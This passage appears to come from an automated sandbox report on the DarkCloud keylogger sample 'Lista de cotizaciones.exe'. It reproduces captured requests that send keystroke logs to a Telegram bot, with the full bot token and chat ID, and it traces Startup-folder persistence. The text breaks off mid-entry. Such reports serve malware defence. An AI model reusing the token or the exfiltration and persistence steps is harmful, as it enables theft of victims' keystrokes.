2024-11-15 08:11:55 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:55 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 54 63 44 71 52 51 78 6c 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataTcDqRQxl.txt"Content-Type: application/octet-stream[03:11:51]<<Program Manager>>[03:11:51]<<Program Manager>>[03:11:51]<<Program Mana
2024-11-15 08:11:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:55 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:55 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 54 63 44 71 52 51 78 6c Data Ascii: {"ok":true,"result":{"message_id":5117,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658315,"document":{"file_name":"KeyDataTcDqRQxl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49990	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:57 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:57 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 74 6a 7a 53 4a 77 48 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatatjzSJwHd.txt"Content-Type: application/octet-stream[03:11:54]<<Program Manager>>[03:11:54]<<Program Manager>>[03:11:54]<<Program Mana
2024-11-15 08:11:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:57 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:58 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 31 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 74 6a 7a 53 4a 77 48 64 Data Ascii: {"ok":true,"result":{"message_id":5118,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658317,"document":{"file_name":"KeyDatatjzSJwHd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49991	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:12:00 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:12:00 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 78 76 58 46 4a 74 48 6a 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataxvXFJtHj.txt"Content-Type: application/octet-stream[03:11:57]<<Program Manager>>[03:11:57]<<Program Manager>>[03:11:57]<<Program Mana
2024-11-15 08:12:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:12:00 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:12:00 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 78 76 58 46 4a 74 48 6a Data Ascii: {"ok":true,"result":{"message_id":5119,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658320,"document":{"file_name":"KeyDataxvXFJtHj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49992	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:12:03 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:12:03 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 75 4a 75 57 59 5a 4d 46 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 35 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatauJuWYZMF.txt"Content-Type: application/octet-stream[03:11:59]<<Program Manager>>[03:11:59]<<Program Manager>>[03:11:59]<<Program Mana
2024-11-15 08:12:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:12:03 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:12:03 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 75 4a 75 57 59 5a 4d 46 Data Ascii: {"ok":true,"result":{"message_id":5120,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658323,"document":{"file_name":"KeyDatauJuWYZMF

Target ID:	1
Start time:	03:09:58
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\Lista de cotizaciones.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Lista de cotizaciones.exe"
Imagebase:	0x350000
File size:	157'184 bytes
MD5 hash:	A2D04709E9B6608F55007222D39FE8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1360864673.0000000002742000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1385612637.0000000006830000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:10:07
Start date:	15/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xb70000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:10:15
Start date:	15/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs"
Imagebase:	0x7ff74dd50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:10:16
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Roaming\Method.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Method.exe"
Imagebase:	0x840000
File size:	157'184 bytes
MD5 hash:	A2D04709E9B6608F55007222D39FE8D4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.1557861462.00000000049C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:10:18
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0xf70000
File size:	418'304 bytes
MD5 hash:	64ACA4F48771A5BA50CD50F2410632AD
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:10:25
Start date:	15/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x380000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:10:33
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe"
Imagebase:	0x810000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:10:33
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:10:41
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe"
Imagebase:	0x8d0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:10:41
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 02682599 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1fd7bd0267c94bce88ab9a3752709ebf19c2c6a0dbd9f92bb329f0a7022aa54
Instruction ID: 232856644403cda96c4b250051b66a52a6f285d9a57e10d8f5d92954153d3936
Opcode Fuzzy Hash: f1fd7bd0267c94bce88ab9a3752709ebf19c2c6a0dbd9f92bb329f0a7022aa54
Instruction Fuzzy Hash: FCD15B74A40244CFDB19EF68D4A4BADB7F2FB88310F24C6A5D845AB395D734AC82CB51

Function 02682640 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 125b55c204c6e4df8848c7a25e600649daf2f478a22ccb5580396719d4e00492
Instruction ID: 86641360dbb33d901503a57a9bd1ab2e1b0f37f2a49b010876d13951becf6bc9
Opcode Fuzzy Hash: 125b55c204c6e4df8848c7a25e600649daf2f478a22ccb5580396719d4e00492
Instruction Fuzzy Hash: 48D14B74A40244CFDB18EF68D4A4BADB7F2FB88310F24C6A5D845AB355D734AC86CB51

Function 05142018 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa16fa7f00628dce1387f6cefe2e94b2a59f8b7d7e0fb968ad00559ea3335b85
Instruction ID: fcd9c0b8e86ac75e2bc61a9c0ba9aa0db735daa27bbe388cd51a61d785b15c28
Opcode Fuzzy Hash: aa16fa7f00628dce1387f6cefe2e94b2a59f8b7d7e0fb968ad00559ea3335b85
Instruction Fuzzy Hash: 62E1F478A04218CFDB64DF69D885BADBBF2FB49300F2090A9E519A7349DB7459C5CF10

Function 02681F57 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b517989cff3a374deeae11474c2987b2b48d323c4eb18c1e166a89778541ff
Instruction ID: 58dd7e703313bcb6ed9776ba981765d64708447b5708b3b8f7ebfb95c3d80230
Opcode Fuzzy Hash: 37b517989cff3a374deeae11474c2987b2b48d323c4eb18c1e166a89778541ff
Instruction Fuzzy Hash: EB718D34A00245CFDB09EB58D584BE9B3F2FB89310F2443E0D5096B399E774AD86CB50

Function 02681F68 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cea39669331fbf4bda3165c3aa9364c34c2810bf77d9c03cb2132381b2042888
Instruction ID: 9011de548ba98f59452f9396968ae2671fcc8890c810940e5207e3e5faa59954
Opcode Fuzzy Hash: cea39669331fbf4bda3165c3aa9364c34c2810bf77d9c03cb2132381b2042888
Instruction Fuzzy Hash: 24718C34A00245CFDB09EB58D984BE9B3F2FB89310F2543E0D5096B399E774AD86CB50

Function 0268B06D Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e0420e0a94ce0bd6e135df67aa5f480295c73ecda26f36c39d92f531e8b7dc5
Instruction ID: 54d0fdbc7e443c38289062213368cca0fa25dd271d6f2fe82ad1bd1f9ad9f973
Opcode Fuzzy Hash: 7e0420e0a94ce0bd6e135df67aa5f480295c73ecda26f36c39d92f531e8b7dc5
Instruction Fuzzy Hash: DC713974E007088FD749EF6AE85479EBBF6BF89300F14D029D105AB269EB745986CF41

Function 0268B070 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74830bdd560e6cee03cb9031d36eabb889f02ede6aa777c74aadd185629b464b
Instruction ID: c654b29259f20ba8ac3fe08affedc3ec08379b20678a249618d30c3fd028f488
